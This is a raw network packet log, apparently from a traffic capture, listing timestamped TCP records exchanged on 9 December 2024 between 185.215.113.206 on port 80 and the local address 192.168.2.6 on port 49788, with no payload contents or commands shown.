Dec 9, 2024 18:20:40.668220997 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.668267965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.668908119 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.668955088 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.669083118 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.669131041 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.669924021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.669972897 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.670042992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.670094013 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.670949936 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.670998096 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.671031952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.671098948 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.671812057 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.671859980 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.671921015 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.671962023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.672872066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.672919989 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.673023939 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.673069954 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.673783064 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.673831940 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.673890114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.673933029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.674781084 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.674869061 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.674969912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.675019979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.675748110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.675800085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.675878048 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.675925970 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.676697969 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.676744938 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.676922083 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.676974058 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.677730083 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.677778006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.677823067 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.677866936 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.678641081 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.678711891 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.678751945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.678796053 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.679716110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.679760933 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.679826021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.679872036 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.680588961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.680635929 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.680707932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.680757046 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.681576967 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.681648016 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.681737900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.681791067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.682602882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.682648897 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.682723045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.682773113 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.684648037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.684701920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.684828043 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.684875965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.685002089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.685046911 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.685156107 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.685200930 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.685993910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.686041117 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.686093092 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.686131001 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.686849117 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.686893940 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.686970949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.687016964 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.726756096 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.726852894 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.726897955 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.726943016 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.727261066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.727317095 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.727545977 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.727597952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.728502035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.728554010 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.728693962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.728741884 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.729547024 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.729600906 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.729635000 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.729681015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.730314970 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.730364084 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.730401993 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.730447054 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.731209040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.731261969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.731381893 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.731446028 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.732142925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.732193947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.732239008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.732286930 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.733181953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.733233929 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.733254910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.733295918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.742069960 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.742150068 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.742187977 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.742225885 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.742464066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.742532015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.742657900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.742705107 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.742757082 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.742804050 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.743227959 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.743275881 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.743302107 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.743338108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.790489912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.790563107 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.790672064 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.790714025 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.790980101 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.791029930 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.791076899 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.791125059 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.792023897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.792074919 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.792145967 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.792192936 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.792890072 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.792942047 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.793070078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.793124914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.793868065 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.793992996 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.794027090 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.794075966 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.794894934 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.794944048 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.795064926 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.795114994 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.795830011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.795914888 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.796026945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.796118975 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.797101974 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.797167063 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.797308922 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.797363997 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.797944069 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.798000097 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.798005104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.798094034 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.798726082 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.798769951 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.798826933 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.798875093 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.799833059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.799892902 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.799935102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.799982071 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.800652027 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.800697088 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.800745010 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.800780058 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.801661968 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.801702976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.801801920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.801851988 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.802577019 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.802622080 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.802728891 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.802817106 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.803553104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.803638935 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.803680897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.803718090 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.804769039 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.804817915 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.804860115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.804905891 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.805555105 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.805603981 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.805682898 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.805727959 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.807580948 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.807662964 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.807702065 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.807739973 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.807904005 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.807923079 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.807980061 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.807980061 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.808823109 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.808950901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.808979988 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.809000969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.809726954 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.809788942 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.809900999 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.809947014 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.810735941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.810785055 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.810846090 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.810889959 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.811582088 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.811631918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.857724905 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.857809067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.857831001 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.857872963 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.857994080 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.858037949 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.858266115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.858316898 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.859051943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.859102011 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.859241009 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.859289885 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.859929085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.859982967 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.860035896 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.860084057 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.860905886 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.860955000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.861059904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.861166000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.861876011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.861948013 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.862107992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.862155914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.863219023 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.863266945 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.863281965 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.863332033 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.863987923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.864032984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.864077091 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.864120960 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.864866018 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.864912987 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.864955902 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.865001917 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.866206884 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.866252899 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.866333008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.866377115 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.866708040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.866755962 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.867039919 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.867094994 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.914959908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.914998055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.915039062 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.915219069 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.915251017 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.915265083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.915333986 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.915381908 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.916115999 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.916166067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.916210890 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.916256905 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.916908026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.916954994 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.917005062 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.917054892 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.917845011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.917893887 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.917962074 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.918008089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.918792963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.918843031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.919050932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.919104099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.919888020 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.919935942 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.920022964 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.920068979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.920686960 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.920733929 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.920809031 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.920851946 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.921670914 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.921724081 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.921776056 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.921818972 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.922687054 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.922733068 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.922830105 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.922878981 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.923722982 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.923773050 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.923798084 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.923851967 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.924573898 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.924618959 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.924700022 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.924746990 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.925549984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.925595045 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.925697088 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.925743103 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.926580906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.926629066 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.926743031 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.926789999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.927530050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.927573919 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.927637100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.927678108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.928544998 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.928592920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.928766012 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.928814888 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.929534912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.929582119 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.929658890 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.929706097 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.930545092 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.930592060 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.930660963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.930707932 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.931432962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.931484938 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.931566000 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.931608915 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.932634115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.932682037 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.932826042 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.932878017 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.933541059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.933589935 CET	49788	80	192.168.2.6	185.215.113.206
